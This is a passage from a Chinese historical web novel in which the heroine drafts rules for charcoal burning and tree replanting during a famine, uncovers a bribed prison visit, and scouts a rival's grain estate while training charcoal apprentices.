“银子送走多久了?” 林叔道:“有五六天了。” 闻颜在心里默默推算一番:“如不出意外的话,那批银子这几天就会送到霍耀行的手中。 他是不见兔子不撒鹰的性格,只要见到银子,第二批粮食马上就能运到。” 她叮嘱道:“林叔,这段时间你要盯紧他们,一刻都不能放松。还有胥家和其他粮商,你们也让人盯着点。” 林叔应道:“小姐你就放心吧,有我和老田、石头在,绝对把他们看得死死的。” 闻颜道:“辛苦林叔了,等干完这一票,我们就能歇好一阵了。” 将家中事务安排好之后,闻颜就呆在自己的房间伏案写着什么。 除了吃饭和必要的活动筋骨,她连房门都不会出。 闻颜先写了烧炭的计划和方案。 烧炭必定砍树,但树木砍多了,会造成水土流失,土地沙化,肥力流失。 北方本就少雨,恐怕还会让风沙变大。 闻颜便写下一个砍树守则,多大面积,只能砍多少颗树。 而且必须在灾情结束后,补种成活。 除此之外,她又将各种树木分了高、中、低三等。 高的价格自然会高,低品的价格也会变低。 不过如此一来,那些人为了利益,恐怕会只盯着高、中两品的树木砍伐。 闻颜又定了新的规则,他们会按村按量收炭,并且按照一三六的比例来收。 就算他们多烧了炭,也会卖不出去。 并且,他们只收普通百姓的炭。 土地超过五十亩,富商庄子上的炭,他们是不收的。 这一系列的收炭模式,虽然复杂,却能将实惠给到真正贫苦的人。 随后,便是制作墨烟的作坊。 这个相对简单。 她让薛义帮忙在城中买一处宅子,用来开办作坊。 其余的事,如:伐木、运输、招匠人都由佩儿负责。 佩儿小小一个人,整天忙得跟个陀螺似的。 闻颜将烧炭手札拿给孟希延和元小头领,让他们去实施。 元小头领看见黑了几个度的闻颜,以及垂到下巴的眼袋和黑眼圈,他无情地哈哈大笑:“你晚上偷牛去了吗?黑眼圈这么重,跟个食铁兽似的。” 闻颜:“……” 她把手札塞进元小头领手里:“我写的收炭细则,你们安排下去吧。” 元小头领好奇地翻开手札,看着直咋舌:“这么多条条框框,都能赶上科考了。” 闻颜摊手:“为了晋阳府能长治久安,这些是必不可少的。” 孟希延却从这份手札中,看出了其他的东西:“你是说,北方风沙大,跟树少有关?” 闻颜点头道:“这是自然的。有树木草丛遮掩,再大的风也没法将下面的泥沙吹跑呀! 咱们沿着河道走上来,你没发现岸边有树的地段,河道都要窄一些吗? 说明在有树的情况下,就算是河流也没法带走太多泥土。 而且有树林的地方,动物、枝叶变多,土地也会变得肥沃。” 这些,都是闻颜前世,从一些庄稼老把式手上学来的经验。 孟希延若有所思地点点头。 如果种树有用。 北境的多种树的话,也能减少风沙。 他当下便决定,回去之后,就要写信给父亲,让他把种树提上日程。 最后,闻颜才开始写,河道治理的法子。 她整理好了思路,已经是深夜。 她起身伸了个懒腰,正准备泡一壶浓茶提神。 窗户纸上就出现一个人影,石头叔的声音从外面传来:“那边的信鸽到了。” 闻颜立即走了过去,打开窗户。 石头叔就站在窗外,将鸽子递给闻颜:“你好好看看吧。” 闻颜抱着鸽子并没有直接动手,而是先观察一番,确定它的绑法之后,这才取了下来。 闻颜看过信件之后,脸上看不出情绪。 她将信件复原,重新绑回鸽子腿上。 她这才笑着对石头叔道:“第二批粮食终于到了,石头叔,你知道有多少吗?” 石头叔见闻颜如此开心,便知道数量不少。 他按捺住激动的心情,问道:“有多少?” 闻颜朝他张开一只手:“不是五石,也不是五十石,而是五千石。” 第220章:发财了 石头叔倏地瞪圆了眼睛,不可思议地看着闻颜。 “五千石,岂不是有……”石头叔掰着手指数数,“岂不是五十万斤粮食? 如果全是杂粮,按五十文一斤卖,那也有二万五千两白银。 若是按精米一百五十文一斤卖,便是七万五千两白银,各占一半也有四五万两银子。 这一趟,咱们不亏。” 五万两银子,对于无蕴子和敬明媚这样的大商贾来说,可能是洒洒水的程度。 但是对于普通百姓来说,却是天文数字。 有些人,努力一辈子也攒不下百两银子。 不过,这些粮食本来就是凭空得来的。 闻颜不会按晋阳府的市价卖。 石头叔忽然又疑惑问道:“你说,霍耀行从哪里搞来这么多粮食?” 闻颜道:“咱们就按亩产三石来算,五千石粮食,也就是一千七百亩地。 津平侯霍家,本就是簪缨世家,现在只是稍微在走下坡路。 几代人积累下来的财富,手下的庄子田产万亩都不止。 再加上霍耀行从附近收罗来的,这点粮食对他来说,不过尔尔。” 前世,她曾短暂拿到过霍家内宅的掌家权。 仅是公中的田产,就有八千多亩,更别提侯爷、侯夫人、老夫人、世子以及庶子们手里的田产。 更不提假死逃回蜀地,隐姓埋名的敬明媚。 她留下的嫁妆,闻颜是看过单子的。 商铺、买卖不计基数,田产庄子,全国各地加在一起,就有三万多亩。 这次,霍耀行肯定还搭上了霍家其他人。 他拉的人越多,闻颜反而越兴奋。 “石头叔,把信鸽放回去,再叫林叔和田叔到议事厅议事。” “好的,小姐。”石头叔抱着鸽子,跃上院墙,没一会儿就不见了踪影。 一刻钟后,三位叔叔,还有佩儿就来到议事厅。 闻颜准备了茶水点心,让大家边吃边聊。 林叔是个老成持重的人,此时也免不了激动:“当真有五千石粮食?” 闻颜点头:“密信上是这样说的,都已经在路上了,不过会分成三批抵达。期间间隔的时间,应该不会超过五日。” 林叔一拳砸在桌子上,激动地道:“太好了!五千石粮食,能赚不少钱,也能救活不少灾民。” 田叔:“我们这段时间,夜以继日的盯着,吃不好睡不好,总算没白费。” “粮食虽多,但我们要怎么拿下? 五千石,不管是转运出来,还是库房保存,都是不小的挑战。” 那么多粮食,不管是运去哪里,都会很扎眼。 霍耀行一夜之间损失惨重,他肯定会派人过来详查。 若是让他察觉蛛丝马迹,很快就会顺藤摸瓜查到她的头上。 到时候,自己的一切谋算,就藏不住了。 “那要怎么办?”佩儿皱着小眉头,仿佛遇上了世界难题。 闻颜看向三位叔叔:“你们可有好的办法?” 三位叔叔眉头皱在一起,仿佛要打结一般。 让他们去运粮、扛粮包都没话说。 想法子这种费脑筋的事,不是在为难他们吗? “好在他们不是一次性送达,我们转移粮食的压力会小很多。” 闻颜他们商议到天亮,也没得出一个确切的结论。 眼看着窗外天空泛起鱼肚白,闻颜趴在桌上,叹息一声:“要是应知林在这里就好了。 他脑瓜子灵活,说不定能想到好主意。” “粮食不等人,不如我们找孟小将军帮忙吧。” “不行。”闻颜立即拒绝,“绝对不可以牵扯到津平侯府。 孟家本来就被人盯着,若是牵扯其中,有朝一日事情暴露,肯定会成为别人攻击他们的把柄。 孟家就洗不清了。” 这也不行,那也不行,大家都沉默了。 闻颜摆了摆手:“算了,反正粮食还没到,我再想想办法。 这几天你们把胥家家主和司徒明看紧了。 不轮值的就回去休息吧。” 石头叔:“小姐放心,就算有一只蚊子从我面前飞过,我都会把它抓下来,看看公母。” 闻颜:“……” 倒也不必细致到这个份儿上。 送走了众人,闻颜靠在桌上眯了两刻钟。 天光大亮之后,她盥洗之后,草草吃过早饭,就出门去了。 她准备城中转一转,说不定能有新思路。 她发现城中多了许多新开张的粮铺。 官府有规定了各家粮铺,每日的供量和价格。 胥家能将霍耀行的粮食快速脱手,就只能不停地开新店。 他们拿粮食出来卖,帮官府减轻了粮食压力。 所以官府那边,都是睁一只眼,闭一只眼。 是以。 晋阳府城中,几日之间,就冒出了十几家新粮店。 逛了一会儿街,闻颜就拐去府衙。 她为了避人耳目,就抄近路,走了大牢那条街。 没想到,她竟在大牢门口看见一个熟悉的人影。 竟是司徒明。 他身边跟着一个,通身富贵的中年男子,应该是胥家家主了。 二人给大牢门口的狱吏塞了一个钱袋。 狱吏掂了掂袋子,就打开了角门,让他们进去:“速去速回,只有一刻钟时间。” 看来,他们是为了胥家独子而来。 闻颜记在心中,继续朝府衙而去。 这次换了两个新差役守看。 通报之后,闻颜很快就被请了进去。 差役领着她来到后院。 就见元小头领刚对一批人训完话。 他看见闻颜,朝她招了招手:“这些都是我给你挑的,烧炭的新徒弟,你过来看看,是否满意。” 闻颜大步走了过去。 视线从他们的脸上、手上扫过。 他们的皮肤黝黑,都穿着补丁衣服。 再加上虎口处有老茧,这些人都是贫苦出身,又踏实肯干的。 元小头领见她观察得仔细,便道:“他们都是我从附近的贫苦人家寻来的,你教会他们,他们再去其他地方教别人。” “你选得很不错,就定下他们吧。”闻颜没什么可挑剔的,就定下了这些人员。 那些被选中的人,确定自己被定下,都隐隐高兴。 闻颜却小声对元小头领道:“你能带我去一趟大牢吗?我有十万火急的事。” 第221章:暴露了 “你有什么十万火急的事,需要去大牢?”元小头领不解地询问。 闻颜急道:“去了就知道,再磨蹭下去,就什么都听不到了。” 元小头领听她说得煞有其事,又急得快要抓耳挠腮,完全没有平时的故作老成。 看她难得露出稚气的一面,元小头领就不与她为难:“行,我就带你去一趟,我倒要瞧瞧,大牢里有什么好东西。” 临走前,他把这些‘新徒弟’交给下属,让下属带去后院安顿。 元小头领带着闻颜,前往大牢。 闻颜正愁找不到机会曝光司徒明与胥家的关系,没想到他们自己送上门来。 闻颜怎会放过这么好的机会! 府衙内的公堂,有一条通往大牢的近道,方便审案时提审犯人。 元小头领带着她,走的就是这一条近路。 很快,他们就来到了大牢入口。 狱卒看见元小头领,立刻站起来,恭敬地问好:“元头领,您怎么来了?可是要提审什么犯人?” 元小头领没有回答,而是看向闻颜。 闻颜便问道:“刚才可是有人来探监?” “啊?”狱卒一脸迷惑。 闻颜道:“大粮商胥家家主,可是进去探监了?” 狱卒眼珠子转了转。 胥家家主进去不过片刻,上面就来人了,还直接点出人名。 莫非知府大人在这里埋了眼线? 那自己平时做的那些事…… 狱卒心里咯噔一声,额头沁出一层冷汗,把腰弯得更低了:“是。他们进去没一会儿。” “带我们过去吧。”元小头领见狱卒如此心虚,对闻颜的意图也产生了兴趣。 狱卒连忙应着:“是,小的这就带二位过去。” 他从墙下取下一大串钥匙,别在腰带上,就往大牢里面走。 随着他走动,钥匙串便发出叮铃咣当的声音。 这么大的响动,两丈外都能听见,岂不是会打草惊蛇。 闻颜让他小声一点。 狱卒一副无奈神情,大声回话:“不是我不愿意,实在是钥匙串挂在腰上,我也控制不,啊……” 话未说完,狱卒吓得惊叫一声:“大大人,您这是干什么呀……” 一把软剑架在他的脖子上。 只要稍稍用力,闪着寒光的剑就会划破他的脖颈,让他血溅当场。 “现在能控制住了吗?”元小头领冷声问道。 狱卒双腿直哆嗦:“能能能……肯定能。” “接下来,你要是敢发出一声点声,我就割下你的脑袋。” 狱卒不敢再作妖,立刻像只兔子似的,乖乖给他们带路。 那串钥匙被他捂得严严实实的,一丁点声音都没有。 这里虽然是露天牢房,四面透风,不过因为天气炎热干燥,使得此处散发着一股恶臭。 一直来到最深处,终于在一众杂乱且拥挤的牢房里,看见一间与众不同的。 虽然还是牢房,但是里面打扫得格外干净,床榻书桌被褥一应俱全,桌上还有一套茶具,一只煮茶的红泥小火炉。 旁边则放着一只七轮的大风扇,隔壁牢房的犯人,正通过超长摇柄,给牢房里送风。 元小头领嘴角抽了抽,语气酸溜溜的:“他到底是来坐牢的,还是来度假的? 我们在府衙的条件,还没他一个犯人好。” 牢内犯人,十八九岁的模样,穿着轻薄的丝绸纱衣。 他坐在榻上,一脸不耐烦地质问牢门前的两人:“爹,你究竟什么时候才能把我弄出去?” “这里吃不好,睡不好,天气热,还没有女人给我解闷,我烦都要烦死了,一刻都不想在里面多待。 我要回家,现在就要回!” 站在牢门前的两人,正是胥家家主,和司徒明。 闻颜和元小头领对视一眼,都没再往前走,而是躲在隐蔽处。 胥家家主立即哄道:“我的儿,你再忍忍。 我不是跟你说过吗,这位司徒先生是京城来的大人物,他背靠津平侯府,今天特地来一趟,就是为了救你出去的。 你再好好想想,还有没有漏掉没说的?” 胥公子狂躁地抓着头发:“你们耳朵聋了吗?我说过了,该说的我全都说了。 你们到底能不能行? 要是没本事让我光明正大的无罪释放,干脆去江湖上雇些高手,把我劫狱出去好了。 大不了我隐姓埋名,去南方生活。” 胥家家主对儿子又是一通安抚,小祖宗大宝贝地乱喊一通。 元小头领听得剑眉紧蹙,他用眼神询问闻颜。 后面的内容没有价值,闻颜给元小头领一个手势,两人一起悄悄退场。 来到大牢出口。 元小头领才把那柄长剑收回。 那名狱卒双腿一软,跌坐在地。 元小头领面色冷沉,对其他狱卒吩咐:“好好审审,看看他私下做了多少错事。” 那名狱卒吓坏了。 他天天待在大牢里,那些刑讯手段,没有一样是他熬得住的。 “元头领,求求你放过我吧,我不是故意的,求你饶我一次吧” 他趴在地上,不住地磕头求饶,还想抱元小头领的大腿。 元小头领极不客气,一脚把他踹开。 其他狱卒大气不敢喘,连忙上前把他再次按住,拖回了刑讯房。 闻颜二人离开大牢往回走。 一边走一边说话。 元小头领神情不悦:“刚才那几人究竟怎么回事? 司徒明代表着津平侯府,怎么跟本地大粮商胥家扯上关系了。” 闻颜道这才将自己查到的消息,一五一十地告诉了元小头领。 元小头领听完,眉毛一竖:“你的意思是说,霍家为了卖粮,竟然想枉顾律法,想将一个杀人犯救出去?” 闻颜点点头。 元小头领脸上表情变化不大,拳头却默默地捏紧:“岂有此理。晋阳府正是危难之际,他们不帮忙就算了,竟然还搞这些阴私手段。 这些人,我一个都不会放过。 闻颜眼珠子转了转,试探道:“我知道你家世不俗,可司徒明代表的是津平侯府,当心津平侯府报复,你搭进去不说还会连累家人。” “哼!区区津平侯府,还妄想动本……将军。”元小头领歪嘴一笑,像个邪恶的大反派。 但他很快就回过神来,瞪了闻颜一眼,“你想试探我的底细,差点就着了你的道!” 闻颜被拆穿,也不觉得尴尬,反而俏皮的眨了眨眼睛:“糟糕,被你看出来了。” 元小头领在她的脑门上弹了一下,“不该打听的少打听。” “你想好了,一旦你插手此事,就与津平侯府是敌对关系。”闻颜正色问他。 她当然想元小头领掺和进来,能给她解决不少麻烦。 第222章:心嘴太毒讨不到老婆 “怎么,你不舍得吗? 我听说你曾与津平侯府的世子订过婚,事到如今,你不会还对他念念不忘吧!”元小头领像是打趣,语气里却带着他自己都没察觉的怒气。 元小头领替应知林打包不平。 闻颜明明已经嫁给他了,心里却还惦记着抛弃她的负心汉。 “想什么呢你?脑子是个好东西,你到底长没长?”闻颜一巴掌拍在他的肩膀上,“谁会惦记一个负心汉! 你就算看我不爽,也不用骂得这么脏吧! 当心嘴太毒,以后讨不到老婆。” “你当真不是旧情难忘?”元小头领的肩膀疼得倒吸气。 “总共也没见过几面,我难忘个什么劲儿啊?” “可霍家毕竟有权有势。”你就没有一点后悔? 闻颜托着下巴,故意思考地道:“你说的有几分道理,霍家毕竟是簪缨世家,我不嫁过去亏大了。要不我回京城之后,再找霍家说说,把我抬回去做个贵妾? 应知林成了弃夫,就找你算账!” 元小头领听得头皮发麻:“大小姐,刚才是我胡言乱语,你就当风刮过了吧!” 闻颜哼了一声,故意拱火:“你堂堂元小头领在此,那帮家伙还敢阳奉阴违。 居然敢把一个杀人凶手弄出去这不是在打你的脸吗? 这么大的耻辱,你都忍得下去?!” “激将法都用到我的头上了?”元小头领哭笑不得,“你就那么恨胥家主和司徒明,他们到底哪里得罪你了?” “司徒明得罪我的地方可多了,现在我逮到机会,当然不能放过他!” “既然你要整他,那我就舍命陪君子,就当是我为刚才的失言赔罪了。” 元小头领微微偏头,就对身边侍从吩咐:“你去大牢里,把姓胥的犯人转入到地牢,从此以后,不准探视,更不准送东西进去。 再派几个心腹,十二个时辰轮流看守,一只蚊子都不准放进去。” “是。”侍从应了一声,转身而去办事了。 闻颜朝他拱拱手:“多谢啦!” “咱们也算朋友了,用得着这么客气? 既然对胥家出手了,怎能厚此薄彼。 霍家那些粮食卖得够多了,是时候查封了。”元小头领道,“那就从那些新开的铺子开始吧,一家一家的查。” 那些铺子开得仓促,必定漏洞百出。 只要揪出一个,胥家和司徒明就甭想脱手。 说罢,他叫来另一个侍从,正要吩咐下去。 闻颜连忙拦住他:“倒也不必如此着急。” 铺子一旦查封,那些粮食一时半会儿是动不了的。 不如让他们多开几天,等那些粮食卖得差不多了,再动手也不迟。 到时,既百姓得了粮食,府衙还能扣下那些银子。 霍家岂不是赔了夫人又折兵! 元小头领朝闻颜竖起大拇指。 果然,母亲说得对,得罪谁都不能得罪女人! 闻颜把事情说完,就对元小头领摆摆手:“你先忙着,我去忙别的事了。” 闻颜并没有离开府衙,而是去了文书办公的地方。 她很快就找见了熟人。 那人穿着一身皂衣,正低着头奋笔疾书。 正是此前,帮闻颜传话的刀笔吏。 经过买粮一事,他就转正了。 现在是晋阳府衙,一位名正言顺的书吏。 时常被知府大人叫去办事,惹得好些老人眼红嫉妒。 闻颜走过去,打招呼:“在忙呢?” 那人抬起头来,见是闻颜,当即就笑了起来:“是您啊!今日过来,可是找知府大人的?” 他说到知府时,特地压低了声音。 闻颜摇摇头,“我是专程来找你的。” 她也没有拐弯抹角,直接说出自己的需求:“应该听说了,我要在晋阳府收炭。我想找一个大一点的仓库,用来存放木炭。最好是能防水防潮的。” 刀笔吏仔细想了想,便说有这样的地方。 她当即拿出晋阳府周边的详细舆图,给闻颜圈出地方。 “这里,有一处庄子,以前是胥家家主的。 自从他儿子出事之后,这处庄子就到了前任兰知府的女儿手中。 不过,自从孟大人上任之后,重新清查了土地。 这个庄子就归公家所有。 这里面不仅有偌大的宅院,还有三口大粮窖。 我前天才出城去核查过,那大粮窖建得特别好,总共应该能装万石粮食左右。 你若是存炭,可以向府衙租借这里。 唯一不好的便是,需要你自己请护院守着。” “至于另两处粮仓,在晋阳府东、南两个方向,是府衙以前用来存粮的地方。 现在整个府城闹饥荒,里面所剩不多的粮食,都拿出来赈济灾民了。 现在那些粮仓全都空着,你若是有用,拿一点银子租下来即可,还能有府衙的人帮忙看守。” 闻颜只是稍加思考,便觉得第一处位置更好。 这批粮食拿到手后,闻颜短时间不会出手。 这么多粮食,太惹眼了。 所以,她需要有足够大的粮仓。 而这里不仅有足够大粮窖存放粮食和炭,还有大宅子可以落脚,简直完美。 更绝的是,此处距离司徒明在城外存放粮食的地方不算太远,中间只隔了一个山坳。 只要自己安排得当。 将粮食转移到这边,应该很容易。 想好之后,闻颜就问刀笔吏:“我若是想要租下这里,有没有不暴露我信息的方法?” 刀笔吏看了闻颜一眼,仍然什么都没多问,就道:“要不要我找个本地人,帮你代签这契书?” 闻颜想了想,忽然又改变了主意:“不用了,还是我自己签吧。” 她是用来‘存炭’的。 遮遮掩掩反而惹人怀疑。 闻颜爽快地定下这里,就让刀笔吏拟定了契书。 签字付银子,这座庄子的使用权就到了闻颜手中。 安放地点有了,现在就差霍耀行的粮食送来了。 在等粮食的时候,烧炭的事也不能落下。 她转头就到府衙后院,把十几个新徒弟叫到一起。 ‘新徒弟们’看见闻颜个子小小的,脸上还有丑陋的疤,当即就有些轻视她。 还有人质疑她的实力:她一个黄毛丫头,真的会烧炭吗? 第223章:刺头挑衅 他们虽然小声嘀咕,也没逃过闻颜的耳朵。 不过闻颜并不会跟他们争论这些,她交待道:“明日辰时半,去这个庄子这路口等我。 记得准时抵达,过时不侯。” 闻颜又不是求着他们学,交待完就离开了。 只留下一串‘新徒弟们’面面相觑。 有人道:“这丫头脾气挺大啊,连句叔叔伯伯不叫,转身就走了,这也太没礼貌了吧!” 其他人面面相觑,都没作声。 只有一个男子附和他:“那姑娘本来就长得吓人,要是再没礼貌,以后可不好找婆家。” 晚饭时。 闻颜在饭桌上告诉大家,粮仓他已经搞定了。 大家听后都松了一口气,总算是解决了一个大麻烦。 “粮仓是有了,那要怎么运粮呢? 粮仓离得远吗? 那么多粮食,得不少劳力,还不能被那些人发现……”佩儿忧心忡忡,一张小脸都皱成一团了。 闻颜道:“这些我也安排好了。既然悄悄运粮不可能,那咱们就光明正大的运。 粮仓离胥家的庄子不远,弄几包蒙汗药下在他们的水里,让他们睡个三天三夜,这么长时间足够我们搬东西了。” “这么明目张胆会不会不太好!” “咱们连抢粮的事都干了,现在才觉得明目张胆是不是晚了?” “也对哦!”佩儿和闻颜相视一笑。 其他人也忍俊不禁笑了起来。 翌日。 闻颜掐着点,和石头叔一起来到约定的地方。 跟着学烧炭的都是男子。 大家怕她不安全,非要石头叔跟着来。 那些学徒已经等在路边。 闻颜只扫了一眼,便发现少了两个人。 但她并未点出。 而是带着众人,很快抵达选好的建窖地点。 此处在山坳的另一边。 只要爬上大树顶端,或者爬上山坳,就能观察到胥家的庄子。 他们刚刚把工具卸下来,迟到的两人,便匆匆赶来。 其中一个十六七岁的少年,穿得破破烂烂,气喘吁吁满头大汗。 另一名中年男子,正是昨上质疑她的那人。 他呼吸均匀,不见匆忙疲态,应该是悠闲走过来的。 闻颜扫了两人一眼,并未作声。 中年男子扯了扯嘴角,发出一声‘嗤笑’。 昨天说‘过时不候’的样子多厉害。 结果,今天自己故意迟到,她还不是屁都不敢放一个。 闻颜没理他们,先来拿出一片羽毛测风向。 换了两个位置,才选出背阳背风的位置。 她选了一块相对平整的地方,用竹棍划出位置,就让学徒们按尺寸开挖。 少年扛起锄头就准备加入挖掘队伍,另一名中看男子,也甩手甩脚地跟上。 但他双手插在腰带里,完全没有要干活的意思。 闻颜这才出声拦住他们:“我昨天说过,迟到的人一律出局。 既然你们明知故犯,那就请离开吧。” 少年脸色一白,另外那名中年男子,却不屑地冷嗤一声:“你凭什么赶我走? 我可是府衙的元大人亲自挑中的,你有什么资格赶走我。” “就凭我是教你们技术的人。” “我呸!一个黄毛丫头,你懂什么烧炭。 还不是搭上了府衙的关系,才得到这个职位。 你信不信,我现在就去府衙举报你和你的姘头!” “举报我?那就去啊。要我告诉你,府衙的门往哪边开吗?” 那人气得不行。 闻颜脸一沉:“这是我传授技术之处,还请你马上离开。” 男人万万没想到,自己竟然被最瞧不上的黄毛丫头驱赶了。 “元大人也真是口味独特,竟然会喜欢你这种人不人鬼不鬼的丑脸。”他恼羞成怒,口不择言,失去理智,“我现在就打死你!啊……” 他捏着拳头就朝闻颜冲来。 闻颜不慌不忙,一不闪不避。 就连石头叔也没有反应。 眼看他的着送就要砸在闻颜脸上。 其他人吓得惊呼,不由自语地别开了脸。 小姑娘脾气也太倔了,到最后吃亏的还是她自己。 然而。 女子的娇弱惊恐的惨叫并未传来。 只见拳头快要砸中闻颜之时,闻颜不慌不忙,抬脚一踹。 中年男子‘嗷’的一声惨叫,‘扑通’一声就跪在了地上。 他只觉得膝盖骨,像碎了一样钻心地疼! 闻颜两步跨过去,本想一把抓住他的发髻,却见那发髻油乎乎的,不知多久没洗过了。 闻颜硬生生地收回手,抬脚踩在他的肩膀上:“就凭你,还想打我!” 男人膝盖用力,顿时痛得嗷呈儿惨叫。 “狗叫得真刺耳!石头叔,把他扔出去。” 石头叔都看呆了。 他第一次看见,这样暴力的小姐。 听见闻颜呼唤,他才回过神来。 他“好勒!”一声,连忙上前拽人。 没几下,就把人扔下了沟渠。 男人连闻颜都打不起,面对高枝高大,肌肉遒劲的石头叔,他更生不起反抗之心。 他忍着疼痛和眼泪,灰溜溜地走了。 现场寂静无声。 原本在心里轻视闻颜的人,现在连一丝一豪都不敢表露出来。 另外一个迟到的少年。 看见同伴的下场,他虽然害怕,咬了咬牙,还是向闻颜哀求道:“姑娘,你通融通融吧,我家离得太远了,单和一就要一个半时辰,我不是故意心到的。” 队伍里,另一个皮肤黝黑的少年,也帮他求情:“是啊姑娘,小伍真的不是故意的。 我们是一个村的,他的情况我最清楚不过了。” 闻颜冷笑一声:“他赶不上,那你是怎么赶上的?” “我……我在城墙根下蹲了一晚上。”皮肤黝黑的少年连忙解释道:“他是因为,和奶奶相依为命,他奶奶生着病,他需要回去照顾。” “他姐姐病人,昨晚需要照顾?今晚还要不要人照顾?” 皮肤黝黑的少年顿时说不出话来。 闻颜又道:“我们烧炭,是需要十二个时辰,随时看护着炭窑,观察它的变化,随时补救。 这些他能做到吗?” “既然奶奶比当学徒重要,那就不要来学手艺,回去照顾你奶奶得了。” 闻颜说得委膛客气。 皮肤黝黑的少年和小伍哑口无言。 小伍的眼圈瞬间红了,他低头抹着眼泪。 皮肤黝黑的少年一脸心疼不忍,正要再说什么,石头叔突然走过来,双臂一张,就把两个小年的脑袋夹到胳肢窝里。 夹小鸡儿一样,把二人带到远处。 第224章:杀鸡儆猴 石头叔在两个少年头上,一人拍了一下:“你们两个是不是傻啊! 她说不教小伍,又没说不让你教。 既然小伍的奶奶离不了人,现在就回家安心侍候奶奶。 小黑你在这里把技术学透,回去再教给小伍不就好了!” 眨眼时间。 石头叔就给少年起了一个外号。 皮肤黝黑的省掉表示抗议:“叔叔,我姓白不姓黑,你叫我小白吧。” 石头叔:“我就爱叫你小黑,你不服气还是怎么滴?”石头捏着拳头,一副别管老子的神情。 少年表情一冏,不敢反驳。 他转头就对伙伴道:“小伍,叔叔说得对。 你现在照顾生病的奶奶要紧,等我把技术学好了,回去就教给你。” 小伍也看出来来,闻颜忽而无私。 这也是上前最好的办法,他只得点头同意了。 小黑把人依依不舍地送走:“小伍,你回去等我。” 小伍朝他挥挥手:“你快回去吧,学技术差一点都不行的。” 小黑哭着回到到岗位。 他拿起锄头,就拼命地挖坑。 大概是带着好友的那一份责任。 这几天的学习,他格外的认真。 遇上不明白的地方,更是向闻颜虚心求教。 他不识字,就用画图的方式做笔记。 闻颜看他在手札上涂涂画画,仿佛天书。 她干脆就教一些烧炭需要的常用字。 小黑也学得特别认真。 当然,这些都是后话。 闻颜一个下马威,顿时就把其他心思活络的人给镇住了。 连忙拿着锄头、锹子开始挖窑坑。 开什么玩笑。 她打人时毫不拖泥带水,就跟打只死狗一样。 谁还敢去惹她! 他们不仅干活特别卖力,就连后面授课时,也听得格外认真。 闻颜很满意杀鸡儆猴的效果。 一个简易的窑坑挖完,都到了午饭时间。 闻颜就让他们停下,先吃午饭。 她带了三天的干粮过来。 当即就分发下去。 一人两张杂粮饼。 烧炭前期是力气活,吃饱了才有力气干活。 饭后。闻颜先给他们分组。 一组人,去找鹅卵石铺在窑底。 一组人,则去山寻干掉的木材。 饭后休息半个时辰,下午接着干活。 闻颜则趁着他们忙活之时,爬上一棵大树,朝半里地外的庄子看去。 那里,就一处偌大的宅院,便介胥家的庄子。 也是司徒明用来临时存放粮食之处。 闻颜趴在墙头看了半天。 可惜,她的视力不太好,只能将那处院子的布局看个大概。 至于巡逻和守卫点,她是一点没看明白。 闻颜将院子布局牢牢记在脑海之中。 等她下树之后,再用炭笔仔细画在纸上。 巡逻守卫,只能找机会亲自去探一探了。 经过一下午的准备,窑底先用秸杆混着黄泥巴夯平,再铺上一层鹅卵石,用大火烧硬之后,便可以往里面架寻回来的木柴。 第一层,竖着排木材,第二层井字排木材,细小的枝丫则铺在第三层。 最后铺上一层易燃的树叶或干草,便用混了秸秆的黄泥巴封顶。 在低处留下风口,在高处留下烟口。 不过,在黄泥巴封顶时,用来和稀泥的水不够了。 他们现在用的,还是从山坳另一边的大院子里挑来的[的-水]。 那院子,正是闻颜租来‘放炭’的粮仓。 不过那边水井不够深,只取来一点点水。 “没水了,怎么办?” 闻颜看向胥家宅子的方向:“提上桶,跟我借水去。” 学徒们并不多问,提着桶就跟了上去。 很快,他们就来到宅子跟前。 闻颜推了小黑一把,小黑踉跄几步,只得前去敲门。 好一会儿,院门之内才传来一道不耐烦的男声:“谁啊!” 院门从里面打开。 一名身材精瘦的男子站在门内:“你们什么人?找谁啊!” 他的眼神从众人身上扫过,带着一股精明。 小黑朝闻颜看了看。 闻颜朝他点点头。 小黑才道:“你好,我们是来向您借水的。” “借水?”精瘦男子顿时露出嫌恶神情,“现在都什么时候了,水比银子还贵,你说借就借啊! 而且,你们拿着这么多桶,与其说是借水,不如说是来抢水的。” 小黑回忆起,过来的路上,闻颜教他的说辞,他立即露出讨好笑容:“大老爷,我们向您买,我们要七桶水,价格您来开。 实在是我们队伍里有小孩,再喝不上水,就要……” 小黑说着,眼眶都红了。 精瘦男子眼珠子转了转,下巴高高扬起:“好啊,你们要水也可以,一两银子一桶。” 七桶水不是要七两银子! 小黑的脸顿时就黑了。 但这是师父给自己的第一个任务,若是搞砸了,师父肯定会很失望。 小黑急得黝黑的脸上,硬生生挤出几抹红晕:“大老爷,我们都是穷人,您开的价实在是太高了,我们……我们实在付不了这么多钱!您再给便宜一点吧。” “呸!穷鬼渴死算了,买什么水!” 小黑都快急哭了,只道:“大老爷您等一等,我和家里人商量商量,再做决定。” 小黑退了回来,跟众人商量,实则是跟闻颜商量。 闻颜道:“一两价,我们只要三桶。” 小黑又回去跟精瘦男子商量。 很快,买卖就达成了。 小黑把三两银子塞进精瘦男子手中,便带着闻颜、石头叔跟着去打水。 闻颜本就做村姑打扮,刘海垂下遮住脸上的伤疤,再加上他一直含胸驼背低着头。 精瘦男子当她是个胆小如鼠的村姑,只看一眼便不再关注。 反而是盯着石头叔看了好几眼。 最后还让他们换一个身材矮小的人进去,否则这水就不卖了。 这人可真够谨慎的! 少了石头叔,闻颜的要记的东西翻倍。 但她还是毫不犹豫地进了宅子。 石头叔反而忧心忡忡。 闻颜没接触过这方面的训练,她真的能察觉到有用的东西吗? 这座宅子很大,布置得也很精美。 不过,闻颜无暇欣赏,她全副心思,都用来观察哪些位置会有护院,哪些位置有暗哨。 水井地专门做饭的院子,他们很快就走到了。 打完水又麻利的出来。 闻颜在一个月亮门处,把耳朵上的银耳铛扔在地砖缝里。 出了宅子,精瘦男子抛了抛手里的银子,正要关门。 闻颜突然惊呼一声:“我的耳环不见了!那可是我母亲留给我唯一的遗物,意义非凡,我一定要找回来!” 第225章:撕破脸 闻颜拉着精瘦男子的衣袖,呜呜哭着。 那悲痛的声音,仿佛找不到耳铛就能要了她的命。 石头叔的反应很快,他也抓住精瘦男子的手,跟着央求起来:“你就让他进去找吧,那只耳铛真的很重要。” 闻颜自言自语:“多谢大老爷,我现在就进去找,很快就出来。”闻颜说完就跑进院子里。 精瘦男子想叫住她,声音却被石头叔和小黑的感谢声淹没。 闻颜钻进院子中,并未按原路行走。 而是见门就钻。 她就像一只灵活的猫,从这间院子蹿到另一个院子。 并不需要查探每一个房间。 